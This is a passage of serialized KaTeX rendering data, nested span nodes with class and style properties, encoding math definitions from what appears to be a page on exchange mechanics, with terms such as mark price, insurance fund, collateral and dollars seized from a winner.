"className":2623},[305],[2625,2645],{"type":26,"tag":217,"props":2626,"children":2628},{"className":2627,"style":2271},[310],[2629],{"type":26,"tag":217,"props":2630,"children":2631},{"style":2275},[2632,2636],{"type":26,"tag":217,"props":2633,"children":2635},{"className":2634,"style":2182},[320],[],{"type":26,"tag":217,"props":2637,"children":2639},{"className":2638},[2187,2188,2189,2190],[2640],{"type":26,"tag":217,"props":2641,"children":2643},{"className":2642},[247,2152,2190],[2644],{"type":32,"value":2290},{"type":26,"tag":217,"props":2646,"children":2648},{"className":2647},[409],[2649],{"type":32,"value":412},{"type":26,"tag":217,"props":2651,"children":2653},{"className":2652},[305],[2654],{"type":26,"tag":217,"props":2655,"children":2657},{"className":2656,"style":2210},[310],[2658],{"type":26,"tag":217,"props":2659,"children":2660},{},[],{"type":26,"tag":217,"props":2662,"children":2664},{"style":2663},"top:-0.3652em;",[2665,2669],{"type":26,"tag":217,"props":2666,"children":2668},{"className":2667,"style":2139},[320],[],{"type":26,"tag":217,"props":2670,"children":2672},{"className":2671},[247],[2673],{"type":26,"tag":217,"props":2674,"children":2676},{"className":2675},[247],[2677,2684],{"type":26,"tag":217,"props":2678,"children":2681},{"className":2679,"style":2680},[247,2152],"margin-right:0.08125em;",[2682],{"type":32,"value":2683},"H",{"type":26,"tag":217,"props":2685,"children":2687},{"className":2686},[2160],[2688],{"type":26,"tag":217,"props":2689,"children":2691},{"className":2690},[299,300],[2692,2723],{"type":26,"tag":217,"props":2693,"children":2695},{"className":2694},[305],[2696,2718],{"type":26,"tag":217,"props":2697,"children":2700},{"className":2698,"style":2699},[310],"height:0.3283em;",[2701],{"type":26,"tag":217,"props":2702,"children":2704},{"style":2703},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[2705,2709],{"type":26,"tag":217,"props":2706,"children":2708},{"className":2707,"style":2182},[320],[],{"type":26,"tag":217,"props":2710,"children":2712},{"className":2711},[2187,2188,2189,2190],[2713],{"type":26,"tag":217,"props":2714,"children":2716},{"className":2715,"style":2153},[247,2152,2190],[2717],{"type":32,"value":178},{"type":26,"tag":217,"props":2719,"children":2721},{"className":2720},[409],[2722],{"type":32,"value":412},{"type":26,"tag":217,"props":2724,"children":2726},{"className":2725},[305],[2727],{"type":26,"tag":217,"props":2728,"children":2730},{"className":2729,"style":2210},[310],[2731],{"type":26,"tag":217,"props":2732,"children":2733},{},[],{"type":26,"tag":217,"props":2735,"children":2737},{"style":2736},"top:2.2624em;",[2738,2742],{"type":26,"tag":217,"props":2739,"children":2741},{"className":2740,"style":2139},[320],[],{"type":26,"tag":217,"props":2743,"children":2745},{"className":2744},[247],[2746],{"type":26,"tag":217,"props":2747,"children":2749},{"className":2748},[247],[2750,2757],{"type":26,"tag":217,"props":2751,"children":2754},{"className":2752,"style":2753},[247,2152],"margin-right:0.02778em;",[2755],{"type":32,"value":2756},"D",{"type":26,"tag":217,"props":2758,"children":2760},{"className":2759},[2160],[2761],{"type":26,"tag":217,"props":2762,"children":2764},{"className":2763},[299,300],[2765,2795],{"type":26,"tag":217,"props":2766,"children":2768},{"className":2767},[305],[2769,2790],{"type":26,"tag":217,"props":2770,"children":2772},{"className":2771,"style":2699},[310],[2773],{"type":26,"tag":217,"props":2774,"children":2776},{"style":2775},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[2777,2781],{"type":26,"tag":217,"props":2778,"children":2780},{"className":2779,"style":2182},[320],[],{"type":26,"tag":217,"props":2782,"children":2784},{"className":2783},[2187,2188,2189,2190],[2785],{"type":26,"tag":217,"props":2786,"children":2788},{"className":2787,"style":2153},[247,2152,2190],[2789],{"type":32,"value":178},{"type":26,"tag":217,"props":2791,"children":2793},{"className":2792},[409],[2794],{"type":32,"value":412},{"type":26,"tag":217,"props":2796,"children":2798},{"className":2797},[305],[2799],{"type":26,"tag":217,"props":2800,"children":2802},{"className":2801,"style":2210},[310],[2803],{"type":26,"tag":217,"props":2804,"children":2805},{},[],{"type":26,"tag":217,"props":2807,"children":2809},{"style":2808},"top:4.8901em;",[2810,2814],{"type":26,"tag":217,"props":2811,"children":2813},{"className":2812,"style":2139},[320],[],{"type":26,"tag":217,"props":2815,"children":2817},{"className":2816},[247],[2818],{"type":26,"tag":217,"props":2819,"children":2821},{"className":2820},[247],[2822,2829],{"type":26,"tag":217,"props":2823,"children":2826},{"className":2824,"style":2825},[247,2152],"margin-right:0.10903em;",[2827],{"type":32,"value":2828},"U",{"type":26,"tag":217,"props":2830,"children":2832},{"className":2831},[2160],[2833],{"type":26,"tag":217,"props":2834,"children":2836},{"className":2835},[299,300],[2837,2867],{"type":26,"tag":217,"props":2838,"children":2840},{"className":2839},[305],[2841,2862],{"type":26,"tag":217,"props":2842,"children":2844},{"className":2843,"style":2699},[310],[2845],{"type":26,"tag":217,"props":2846,"children":2848},{"style":2847},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[2849,2853],{"type":26,"tag":217,"props":2850,"children":2852},{"className":2851,"style":2182},[320],[],{"type":26,"tag":217,"props":2854,"children":2856},{"className":2855},[2187,2188,2189,2190],[2857],{"type":26,"tag":217,"props":2858,"children":2860},{"className":2859,"style":2153},[247,2152,2190],[2861],{"type":32,"value":178},{"type":26,"tag":217,"props":2863,"children":2865},{"className":2864},[409],[2866],{"type":32,"value":412},{"type":26,"tag":217,"props":2868,"children":2870},{"className":2869},[305],[2871],{"type":26,"tag":217,"props":2872,"children":2874},{"className":2873,"style":2210},[310],[2875],{"type":26,"tag":217,"props":2876,"children":2877},{},[],{"type":26,"tag":217,"props":2879,"children":2881},{"style":2880},"top:7.3078em;",[2882,2886],{"type":26,"tag":217,"props":2883,"children":2885},{"className":2884,"style":2139},[320],[],{"type":26,"tag":217,"props":2887,"children":2889},{"className":2888},[247],[2890],{"type":26,"tag":217,"props":2891,"children":2893},{"className":2892},[247],[2894,2901],{"type":26,"tag":217,"props":2895,"children":2898},{"className":2896,"style":2897},[247,2152],"margin-right:0.00773em;",[2899],{"type":32,"value":2900},"R",{"type":26,"tag":217,"props":2902,"children":2904},{"className":2903},[2160],[2905],{"type":26,"tag":217,"props":2906,"children":2908},{"className":2907},[299,300],[2909,2941],{"type":26,"tag":217,"props":2910,"children":2912},{"className":2911},[305],[2913,2936],{"type":26,"tag":217,"props":2914,"children":2917},{"className":2915,"style":2916},[310],"height:0.2806em;",[2918],{"type":26,"tag":217,"props":2919,"children":2921},{"style":2920},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[2922,2926],{"type":26,"tag":217,"props":2923,"children":2925},{"className":2924,"style":2182},[320],[],{"type":26,"tag":217,"props":2927,"children":2929},{"className":2928},[2187,2188,2189,2190],[2930],{"type":26,"tag":217,"props":2931,"children":2933},{"className":2932},[247,2152,2190],[2934],{"type":32,"value":2935},"t",{"type":26,"tag":217,"props":2937,"children":2939},{"className":2938},[409],[2940],{"type":32,"value":412},{"type":26,"tag":217,"props":2942,"children":2944},{"className":2943},[305],[2945],{"type":26,"tag":217,"props":2946,"children":2948},{"className":2947,"style":2210},[310],[2949],{"type":26,"tag":217,"props":2950,"children":2951},{},[],{"type":26,"tag":217,"props":2953,"children":2955},{"className":2954},[409],[2956],{"type":32,"value":412},{"type":26,"tag":217,"props":2958,"children":2960},{"className":2959},[305],[2961],{"type":26,"tag":217,"props":2962,"children":2965},{"className":2963,"style":2964},[310],"height:11.3392em;",[2966],{"type":26,"tag":217,"props":2967,"children":2968},{},[],{"type":26,"tag":217,"props":2970,"children":2972},{"className":2971},[1040],[2973],{"type":26,"tag":217,"props":2974,"children":2976},{"className":2975},[299,300],[2977,4685],{"type":26,"tag":217,"props":2978,"children":2980},{"className":2979},[305],[2981,4680],{"type":26,"tag":217,"props":2982,"children":2984},{"className":2983,"style":2130},[310],[2985,3024,3062,3209,3446,3602,3707,3750,3971,4132,4322,4474],{"type":26,"tag":217,"props":2986,"children":2987},{"style":2134},[2988,2992],{"type":26,"tag":217,"props":2989,"children":2991},{"className":2990,"style":2139},[320],[],{"type":26,"tag":217,"props":2993,"children":2995},{"className":2994},[247],[2996,3000,3004,3010,3014],{"type":26,"tag":217,"props":2997,"children":2999},{"className":2998},[247],[],{"type":26,"tag":217,"props":3001,"children":3003},{"className":3002,"style":259},[258],[],{"type":26,"tag":217,"props":3005,"children":3007},{"className":3006},[264],[3008],{"type":32,"value":3009},":=",{"type":26,"tag":217,"props":3011,"children":3013},{"className":3012,"style":259},[258],[],{"type":26,"tag":217,"props":3015,"children":3017},{"className":3016},[247,32],[3018],{"type":26,"tag":217,"props":3019,"children":3021},{"className":3020},[247],[3022],{"type":32,"value":3023},"mark price",{"type":26,"tag":217,"props":3025,"children":3026},{"style":2217},[3027,3031],{"type":26,"tag":217,"props":3028,"children":3030},{"className":3029,"style":2139},[320],[],{"type":26,"tag":217,"props":3032,"children":3034},{"className":3033},[247],[3035,3039,3043,3048,3052],{"type":26,"tag":217,"props":3036,"children":3038},{"className":3037},[247],[],{"type":26,"tag":217,"props":3040,"children":3042},{"className":3041,"style":259},[258],[],{"type":26,"tag":217,"props":3044,"children":3046},{"className":3045},[264],[3047],{"type":32,"value":3009},{"type":26,"tag":217,"props":3049,"children":3051},{"className":3050,"style":259},[258],[],{"type":26,"tag":217,"props":3053,"children":3055},{"className":3054},[247,32],[3056],{"type":26,"tag":217,"props":3057,"children":3059},{"className":3058},[247],[3060],{"type":32,"value":3061},"insurance fund",{"type":26,"tag":217,"props":3063,"children":3064},{"style":2236},[3065,3069],{"type":26,"tag":217,"props":3066,"children":3068},{"className":3067,"style":2139},[320],[],{"type":26,"tag":217,"props":3070,"children":3072},{"className":3071},[247],[3073,3077,3081,3086,3090,3100,3104,3109,3113],{"type":26,"tag":217,"props":3074,"children":3076},{"className":3075},[247],[],{"type":26,"tag":217,"props":3078,"children":3080},{"className":3079,"style":259},[258],[],{"type":26,"tag":217,"props":3082,"children":3084},{"className":3083},[264],[3085],{"type":32,"value":3009},{"type":26,"tag":217,"props":3087,"children":3089},{"className":3088,"style":259},[258],[],{"type":26,"tag":217,"props":3091,"children":3093},{"className":3092},[247,32],[3094],{"type":26,"tag":217,"props":3095,"children":3097},{"className":3096},[247],[3098],{"type":32,"value":3099},"collateral",{"type":26,"tag":217,"props":3101,"children":3103},{"className":3102,"style":259},[258],[],{"type":26,"tag":217,"props":3105,"children":3107},{"className":3106},[264],[3108],{"type":32,"value":267},{"type":26,"tag":217,"props":3110,"children":3112},{"className":3111,"style":259},[258],[],{"type":26,"tag":217,"props":3114,"children":3116},{"className":3115},[247],[3117,3121,3205],{"type":26,"tag":217,"props":3118,"children":3120},{"className":3119},[288,289],[],{"type":26,"tag":217,"props":3122,"children":3124},{"className":3123},[294],[3125],{"type":26,"tag":217,"props":3126,"children":3128},{"className":3127},[299,300],[3129,3194],{"type":26,"tag":217,"props":3130,"children":3132},{"className":3131},[305],[3133,3189],{"type":26,"tag":217,"props":3134,"children":3137},{"className":3135,"style":3136},[310],"height:1.3714em;",[3138,3158,3169],{"type":26,"tag":217,"props":3139,"children":3140},{"style":315},[3141,3145],{"type":26,"tag":217,"props":3142,"children":3144},{"className":3143,"style":321},[320],[],{"type":26,"tag":217,"props":3146,"children":3148},{"className":3147},[247],[3149],{"type":26,"tag":217,"props":3150,"children":3152},{"className":3151},[247,32],[3153],{"type":26,"tag":217,"props":3154,"children":3156},{"className":3155},[247],[3157],{"type":32,"value":358},{"type":26,"tag":217,"props":3159,"children":3160},{"style":361},[3161,3165],{"type":26,"tag":217,"props":3162,"children":3164},{"className":3163,"style":321},[320],[],{"type":26,"tag":217,"props":3166,"children":3168},{"className":3167,"style":371},[370],[],{"type":26,"tag":217,"props":3170,"children":3171},{"style":375},[3172,3176],{"type":26,"tag":217,"props":3173,"children":3175},{"className":3174,"style":321},[320],[],{"type":26,"tag":217,"props":3177,"children":3179},{"className":3178},[247],[3180],{"type":26,"tag":217,"props":3181,"children":3183},{"className":3182},[247,32],[3184],{"type":26,"tag":217,"props":3185,"children":3187},{"className":3186},[247],[3188],{"type":32,"value":400},{"type":26,"tag":217,"props":3190,"children":3192},{"className":3191},[409],[3193],{"type":32,"value":412},{"type":26,"tag":217,"props":3195,"children":3197},{"className":3196},[305],[3198],{"type":26,"tag":217,"props":3199,"children":3201},{"className":3200,"style":420},[310],[3202],{"type":26,"tag":217,"props":3203,"children":3204},{},[],{"type":26,"tag":217,"props":3206,"children":3208},{"className":3207},[428,289],[],{"type":26,"tag":217,"props":3210,"children":3211},{"style":2309},[3212,3216],{"type":26,"tag":217,"props":3213,"children":3215},{"className":3214,"style":2139},[320],[],{"type":26,"tag":217,"props":3217,"children":3219},{"className":3218},[247],[3220,3224,3228,3233,3237,3295,3299,3304,3308,3313,3370,3374,3380,3384,3441],{"type":26,"tag":217,"props":3221,"children":3223},{"className":3222},[247],[],{"type":26,"tag":217,"props":3225,"children":3227},{"className":3226,"style":259},[258],[],{"type":26,"tag":217,"props":3229,"children":3231},{"className":3230},[264],[3232],{"type":32,"value":267},{"type":26,"tag":217,"props":3234,"children":3236},{"className":3235,"style":259},[258],[],{"type":26,"tag":217,"props":3238,"children":3240},{"className":3239},[247],[3241,3247],{"type":26,"tag":217,"props":3242,"children":3244},{"className":3243},[247,2152],[3245],{"type":32,"value":3246},"s",{"type":26,"tag":217,"props":3248,"children":3250},{"className":3249},[2160],[3251],{"type":26,"tag":217,"props":3252,"children":3254},{"className":3253},[299,300],[3255,3284],{"type":26,"tag":217,"props":3256,"children":3258},{"className":3257},[305],[3259,3279],{"type":26,"tag":217,"props":3260,"children":3262},{"className":3261,"style":2271},[310],[3263],{"type":26,"tag":217,"props":3264,"children":3265},{"style":2275},[3266,3270],{"type":26,"tag":217,"props":3267,"children":3269},{"className":3268,"style":2182},[320],[],{"type":26,"tag":217,"props":3271,"children":3273},{"className":3272},[2187,2188,2189,2190],[3274],{"type":26,"tag":217,"props":3275,"children":3277},{"className":3276},[247,2152,2190],[3278],{"type":32,"value":2290},{"type":26,"tag":217,"props":3280,"children":3282},{"className":3281},[409],[3283],{"type":32,"value":412},{"type":26,"tag":217,"props":3285,"children":3287},{"className":3286},[305],[3288],{"type":26,"tag":217,"props":3289,"children":3291},{"className":3290,"style":2210},[310],[3292],{"type":26,"tag":217,"props":3293,"children":3294},{},[],{"type":26,"tag":217,"props":3296,"children":3298},{"className":3297,"style":336},[258],[],{"type":26,"tag":217,"props":3300,"children":3302},{"className":3301},[341],[3303],{"type":32,"value":344},{"type":26,"tag":217,"props":3305,"children":3307},{"className":3306,"style":336},[258],[],{"type":26,"tag":217,"props":3309,"children":3311},{"className":3310},[288],[3312],{"type":32,"value":1851},{"type":26,"tag":217,"props":3314,"children":3316},{"className":3315},[247],[3317,3322],{"type":26,"tag":217,"props":3318,"children":3320},{"className":3319,"style":2153},[247,2152],[3321],{"type":32,"value":2156},{"type":26,"tag":217,"props":3323,"children":3325},{"className":3324},[2160],[3326],{"type":26,"tag":217,"props":3327,"children":3329},{"className":3328},[299,300],[3330,3359],{"type":26,"tag":217,"props":3331,"children":3333},{"className":3332},[305],[3334,3354],{"type":26,"tag":217,"props":3335,"children":3337},{"className":3336,"style":2173},[310],[3338],{"type":26,"tag":217,"props":3339,"children":3340},{"style":2177},[3341,3345],{"type":26,"tag":217,"props":3342,"children":3344},{"className":3343,"style":2182},[320],[],{"type":26,"tag":217,"props":3346,"children":3348},{"className":3347},[2187,2188,2189,2190],[3349],{"type":26,"tag":217,"props":3350,"children":3352},{"className":3351},[247,2152,2190],[3353],{"type":32,"value":2197},{"type":26,"tag":217,"props":3355,"children":3357},{"className":3356},[409],[3358],{"type":32,"value":412},{"type":26,"tag":217,"props":3360,"children":3362},{"className":3361},[305],[3363],{"type":26,"tag":217,"props":3364,"children":3366},{"className":3365,"style":2210},[310],[3367],{"type":26,"tag":217,"props":3368,"children":3369},{},[],{"type":26,"tag":217,"props":3371,"children":3373},{"className":3372,"style":336},[258],[],{"type":26,"tag":217,"props":3375,"children":3377},{"className":3376},[341],[3378],{"type":32,"value":3379},"−",{"type":26,"tag":217,"props":3381,"children":3383},{"className":3382,"style":336},[258],[],{"type":26,"tag":217,"props":3385,"children":3387},{"className":3386},[247],[3388,3393],{"type":26,"tag":217,"props":3389,"children":3391},{"className":3390},[247,2152],[3392],{"type":32,"value":39},{"type":26,"tag":217,"props":3394,"children":3396},{"className":3395},[2160],[3397],{"type":26,"tag":217,"props":3398,"children":3400},{"className":3399},[299,300],[3401,3430],{"type":26,"tag":217,"props":3402,"children":3404},{"className":3403},[305],[3405,3425],{"type":26,"tag":217,"props":3406,"children":3408},{"className":3407,"style":2271},[310],[3409],{"type":26,"tag":217,"props":3410,"children":3411},{"style":2275},[3412,3416],{"type":26,"tag":217,"props":3413,"children":3415},{"className":3414,"style":2182},[320],[],{"type":26,"tag":217,"props":3417,"children":3419},{"className":3418},[2187,2188,2189,2190],[3420],{"type":26,"tag":217,"props":3421,"children":3423},{"className":3422},[247,2152,2190],[3424],{"type":32,"value":2290},{"type":26,"tag":217,"props":3426,"children":3428},{"className":3427},[409],[3429],{"type":32,"value":412},{"type":26,"tag":217,"props":3431,"children":3433},{"className":3432},[305],[3434],{"type":26,"tag":217,"props":3435,"children":3437},{"className":3436,"style":2210},[310],[3438],{"type":26,"tag":217,"props":3439,"children":3440},{},[],{"type":26,"tag":217,"props":3442,"children":3444},{"className":3443},[428],[3445],{"type":32,"value":1889},{"type":26,"tag":217,"props":3447,"children":3448},{"style":2381},[3449,3453],{"type":26,"tag":217,"props":3450,"children":3452},{"className":3451,"style":2139},[320],[],{"type":26,"tag":217,"props":3454,"children":3456},{"className":3455},[247],[3457,3461,3465,3470,3474,3531,3535,3541,3545],{"type":26,"tag":217,"props":3458,"children":3460},{"className":3459},[247],[],{"type":26,"tag":217,"props":3462,"children":3464},{"className":3463,"style":259},[258],[],{"type":26,"tag":217,"props":3466,"children":3468},{"className":3467},[264],[3469],{"type":32,"value":267},{"type":26,"tag":217,"props":3471,"children":3473},{"className":3472,"style":259},[258],[],{"type":26,"tag":217,"props":3475,"children":3477},{"className":3476},[247],[3478,3483],{"type":26,"tag":217,"props":3479,"children":3481},{"className":3480},[247,2152],[3482],{"type":32,"value":2255},{"type":26,"tag":217,"props":3484,"children":3486},{"className":3485},[2160],[3487],{"type":26,"tag":217,"props":3488,"children":3490},{"className":3489},[299,300],[3491,3520],{"type":26,"tag":217,"props":3492,"children":3494},{"className":3493},[305],[3495,3515],{"type":26,"tag":217,"props":3496,"children":3498},{"className":3497,"style":2271},[310],[3499],{"type":26,"tag":217,"props":3500,"children":3501},{"style":2275},[3502,3506],{"type":26,"tag":217,"props":3503,"children":3505},{"className":3504,"style":2182},[320],[],{"type":26,"tag":217,"props":3507,"children":3509},{"className":3508},[2187,2188,2189,2190],[3510],{"type":26,"tag":217,"props":3511,"children":3513},{"className":3512},[247,2152,2190],[3514],{"type":32,"value":2290},{"type":26,"tag":217,"props":3516,"children":3518},{"className":3517},[409],[3519],{"type":32,"value":412},{"type":26,"tag":217,"props":3521,"children":3523},{"className":3522},[305],[3524],{"type":26,"tag":217,"props":3525,"children":3527},{"className":3526,"style":2210},[310],[3528],{"type":26,"tag":217,"props":3529,"children":3530},{},[],{"type":26,"tag":217,"props":3532,"children":3534},{"className":3533,"style":336},[258],[],{"type":26,"tag":217,"props":3536,"children":3538},{"className":3537},[341],[3539],{"type":32,"value":3540},"+",{"type":26,"tag":217,"props":3542,"children":3544},{"className":3543,"style":336},[258],[],{"type":26,"tag":217,"props":3546,"children":3548},{"className":3547},[247],[3549,3554],{"type":26,"tag":217,"props":3550,"children":3552},{"className":3551,"style":2326},[247,2152],[3553],{"type":32,"value":2329},{"type":26,"tag":217,"props":3555,"children":3557},{"className":3556},[2160],[3558],{"type":26,"tag":217,"props":3559,"children":3561},{"className":3560},[299,300],[3562,3591],{"type":26,"tag":217,"props":3563,"children":3565},{"className":3564},[305],[3566,3586],{"type":26,"tag":217,"props":3567,"children":3569},{"className":3568,"style":2271},[310],[3570],{"type":26,"tag":217,"props":3571,"children":3572},{"style":2348},[3573,3577],{"type":26,"tag":217,"props":3574,"children":3576},{"className":3575,"style":2182},[320],[],{"type":26,"tag":217,"props":3578,"children":3580},{"className":3579},[2187,2188,2189,2190],[3581],{"type":26,"tag":217,"props":3582,"children":3584},{"className":3583},[247,2152,2190],[3585],{"type":32,"value":2290},{"type":26,"tag":217,"props":3587,"children":3589},{"className":3588},[409],[3590],{"type":32,"value":412},{"type":26,"tag":217,"props":3592,"children":3594},{"className":3593},[305],[3595],{"type":26,"tag":217,"props":3596,"children":3598},{"className":3597,"style":2210},[310],[3599],{"type":26,"tag":217,"props":3600,"children":3601},{},[],{"type":26,"tag":217,"props":3603,"children":3604},{"style":2451},[3605,3609],{"type":26,"tag":217,"props":3606,"children":3608},{"className":3607,"style":2139},[320],[],{"type":26,"tag":217,"props":3610,"children":3612},{"className":3611},[247],[3613,3617,3621,3626,3630],{"type":26,"tag":217,"props":3614,"children":3616},{"className":3615},[247],[],{"type":26,"tag":217,"props":3618,"children":3620},{"className":3619,"style":259},[258],[],{"type":26,"tag":217,"props":3622,"children":3624},{"className":3623},[264],[3625],{"type":32,"value":267},{"type":26,"tag":217,"props":3627,"children":3629},{"className":3628,"style":259},[258],[],{"type":26,"tag":217,"props":3631,"children":3633},{"className":3632},[247],[3634,3639],{"type":26,"tag":217,"props":3635,"children":3637},{"className":3636,"style":2326},[247,2152],[3638],{"type":32,"value":2329},{"type":26,"tag":217,"props":3640,"children":3642},{"className":3641},[2160],[3643],{"type":26,"tag":217,"props":3644,"children":3646},{"className":3645},[299,300],[3647,3695],{"type":26,"tag":217,"props":3648,"children":3650},{"className":3649},[305],[3651,3690],{"type":26,"tag":217,"props":3652,"children":3655},{"className":3653,"style":3654},[310],"height:0.8213em;",[3656,3673],{"type":26,"tag":217,"props":3657,"children":3659},{"style":3658},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[3660,3664],{"type":26,"tag":217,"props":3661,"children":3663},{"className":3662,"style":2182},[320],[],{"type":26,"tag":217,"props":3665,"children":3667},{"className":3666},[2187,2188,2189,2190],[3668],{"type":26,"tag":217,"props":3669,"children":3671},{"className":3670},[247,2152,2190],[3672],{"type":32,"value":2290},{"type":26,"tag":217,"props":3674,"children":3676},{"style":3675},"top:-3.113em;margin-right:0.05em;",[3677,3681],{"type":26,"tag":217,"props":3678,"children":3680},{"className":3679,"style":2182},[320],[],{"type":26,"tag":217,"props":3682,"children":3684},{"className":3683},[2187,2188,2189,2190],[3685],{"type":26,"tag":217,"props":3686,"children":3688},{"className":3687},[341,2190],[3689],{"type":32,"value":3540},{"type":26,"tag":217,"props":3691,"children":3693},{"className":3692},[409],[3694],{"type":32,"value":412},{"type":26,"tag":217,"props":3696,"children":3698},{"className":3697},[305],[3699],{"type":26,"tag":217,"props":3700,"children":3703},{"className":3701,"style":3702},[310],"height:0.267em;",[3704],{"type":26,"tag":217,"props":3705,"children":3706},{},[],{"type":26,"tag":217,"props":3708,"children":3709},{"style":2523},[3710,3714],{"type":26,"tag":217,"props":3711,"children":3713},{"className":3712,"style":2139},[320],[],{"type":26,"tag":217,"props":3715,"children":3717},{"className":3716},[247],[3718,3722,3726,3731,3735,3745],{"type":26,"tag":217,"props":3719,"children":3721},{"className":3720},[247],[],{"type":26,"tag":217,"props":3723,"children":3725},{"className":3724,"style":259},[258],[],{"type":26,"tag":217,"props":3727,"children":3729},{"className":3728},[264],[3730],{"type":32,"value":3009},{"type":26,"tag":217,"props":3732,"children":3734},{"className":3733,"style":259},[258],[],{"type":26,"tag":217,"props":3736,"children":3738},{"className":3737},[247,32],[3739],{"type":26,"tag":217,"props":3740,"children":3742},{"className":3741},[247],[3743],{"type":32,"value":3744},"dollars seized from winner ",{"type":26,"tag":217,"props":3746,"children":3748},{"className":3747},[247,2152],[3749],{"type":32,"value":2290},{"type":26,"tag":217,"props":3751,"children":3752},{"style":2593},[3753,3757],{"type":26,"tag":217,"props":3754,"children":3756},{"className":3755,"style":2139},[320],[],{"type":26,"tag":217,"props":3758,"children":3760},{"className":3759},[247],[3761,3765,3769,3774,3778],{"type":26,"tag":217,"props":3762,"children":3764},{"className":3763},[247],[],{"type":26,"tag":217,"props":3766,"children":3768},{"className":3767,"style":259},[258],[],{"type":26,"tag":217,"props":3770,"children":3772},{"className":3771},[264],[3773],{"type":32,"value":267},{"type":26,"tag":217,"props":3775,"children":3777},{"className":3776,"style":259},[258],[],{"type":26,"tag":217,"props":3779,"children":3781},{"className":3780},[247],[3782,3786,3967],{"type":26,"tag":217,"props":3783,"children":3785},{"className":3784},[288,289],[],{"type":26,"tag":217,"props":3787,"children":3789},{"className":3788},[294],[3790],{"type":26,"tag":217,"props":3791,"children":3793},{"className":3792},[299,300],[3794,3955],{"type":26,"tag":217,"props":3795,"children":3797},{"className":3796},[305],[3798,3950],{"type":26,"tag":217,"props":3799,"children":3802},{"className":3800,"style":3801},[310],"height:1.1076em;",[3803,3871,3882],{"type":26,"tag":217,"props":3804,"children":3805},{"style":315},[3806,3810],{"type":26,"tag":217,"props":3807,"children":3809},{"className":3808,"style":321},[320],[],{"type":26,"tag":217,"props":3811,"children":3813},{"className":3812},[247],[3814],{"type":26,"tag":217,"props":3815,"children":3817},{"className":3816},[247],[3818,3823],{"type":26,"tag":217,"props":3819,"children":3821},{"className":3820,"style":2468},[247,2152],[3822],{"type":32,"value":2471},{"type":26,"tag":217,"props":3824,"children":3826},{"className":3825},[2160],[3827],{"type":26,"tag":217,"props":3828,"children":3830},{"className":3829},[299,300],[3831,3860],{"type":26,"tag":217,"props":3832,"children":3834},{"className":3833},[305],[3835,3855],{"type":26,"tag":217,"props":3836,"children":3838},{"className":3837,"style":2271},[310],[3839],{"type":26,"tag":217,"props":3840,"children":3841},{"style":2490},[3842,3846],{"type":26,"tag":217,"props":3843,"children":3845},{"className":3844,"style":2182},[320],[],{"type":26,"tag":217,"props":3847,"children":3849},{"className":3848},[2187,2188,2189,2190],[3850],{"type":26,"tag":217,"props":3851,"children":3853},{"className":3852},[247,2152,2190],[3854],{"type":32,"value":2290},{"type":26,"tag":217,"props":3856,"children":3858},{"className":3857},[409],[3859],{"type":32,"value":412},{"type":26,"tag":217,"props":3861,"children":3863},{"className":3862},[305],[3864],{"type":26,"tag":217,"props":3865,"children":3867},{"className":3866,"style":2210},[310],[3868],{"type":26,"tag":217,"props":3869,"children":3870},{},[],{"type":26,"tag":217,"props":3872,"children":3873},{"style":361},[3874,3878],{"type":26,"tag":217,"props":3875,"children":3877},{"className":3876,"style":321},[320],[],{"type":26,"tag":217,"props":3879,"children":3881},{"className":3880,"style":371},[370],[],{"type":26,"tag":217,"props":3883,"children":3884},{"style":375},[3885,3889],{"type":26,"tag":217,"props":3886,"children":3888},{"className":3887,"style":321},[320],[],{"type":26,"tag":217,"props":3890,"children":3892},{"className":3891},[247],[3893],{"type":26,"tag":217,"props":3894,"children":3896},{"className":3895},[247],[3897,3902],{"type":26,"tag":217,"props":3898,"children":3900},{"className":3899},[247,2152],[3901],{"type":32,"value":2542},{"type":26,"tag":217,"props":3903,"children":3905},{"className":3904},[2160],[3906],{"type":26,"tag":217,"props":3907,"children":3909},{"className":3908},[299,300],[3910,3939],{"type":26,"tag":217,"props":3911,"children":3913},{"className":3912},[305],[3914,3934],{"type":26,"tag":217,"props":3915,"children":3917},{"className":3916,"style":2271},[310],[3918],{"type":26,"tag":217,"props":3919,"children":3920},{"style":2275},[3921,3925],{"type":26,"tag":217,"props":3922,"children":3924},{"className":3923,"style":2182},[320],[],{"type":26,"tag":217,"props":3926,"children":3928},{"className":3927},[2187,2188,2189,2190],[3929],{"type":26,"tag":217,"props":3930,"children":3932},{"className":3931},[247,2152,2190],[3933],{"type":32,"value":2290},{"type":26,"tag":217,"props":3935,"children":3937},{"className":3936},[409],[3938],{"type":32,"value":412},{"type":26,"tag":217,"props":3940,"children":3942},{"className":3941},[305],[3943],{"type":26,"tag":217,"props":3944,"children":3946},{"className":3945,"style":2210},[310],[3947],{"type":26,"tag":217,"props":3948,"children":3949},{},[],{"type":26,"tag":217,"props":3951,"children":3953},{"className":3952},[409],[3954],{"type":32,"value":412},{"type":26,"tag":217,"props":3956,"children":3958},{"className":3957},[305],[3959],{"type":26,"tag":217,"props":3960,"children":3963},{"className":3961,"style":3962},[310],"height:0.836em;",[3964],{"type":26,"tag":217,"props":3965,"children":3966},{},[],{"type":26,"tag":217,"props":3968,"children":3970},{"className":3969},[428,289],[],{"type":26,"tag":217,"props":3972,"children":3973},{"style":2663},[3974,3978],{"type":26,"tag":217,"props":3975,"children":3977},{"className":3976,"style":2139},[320],[],{"type":26,"tag":217,"props":3979,"children":3981},{"className":3980},[247],[3982,3986,3990,3995,3999,4071,4075],{"type":26,"tag":217,"props":3983,"children":3985},{"className":3984},[247],[],{"type":26,"tag":217,"props":3987,"children":3989},{"className":3988,"style":259},[258],[],{"type":26,"tag":217,"props":3991,"children":3993},{"className":3992},[264],[3994],{"type":32,"value":267},{"type":26,"tag":217,"props":3996,"children":3998},{"className":3997,"style":259},[258],[],{"type":26,"tag":217,"props":4000,"children":4003},{"className":4001},[1842,4002],"op-limits",[4004],{"type":26,"tag":217,"props":4005,"children":4007},{"className":4006},[299,300],[4008,4059],{"type":26,"tag":217,"props":4009,"children":4011},{"className":4010},[305],[4012,4054],{"type":26,"tag":217,"props":4013,"children":4016},{"className":4014,"style":4015},[310],"height:1.05em;",[4017,4035],{"type":26,"tag":217,"props":4018,"children":4020},{"style":4019},"top:-1.8723em;margin-left:0em;",[4021,4026],{"type":26,"tag":217,"props":4022,"children":4025},{"className":4023,"style":4024},[320],"height:3.05em;",[],{"type":26,"tag":217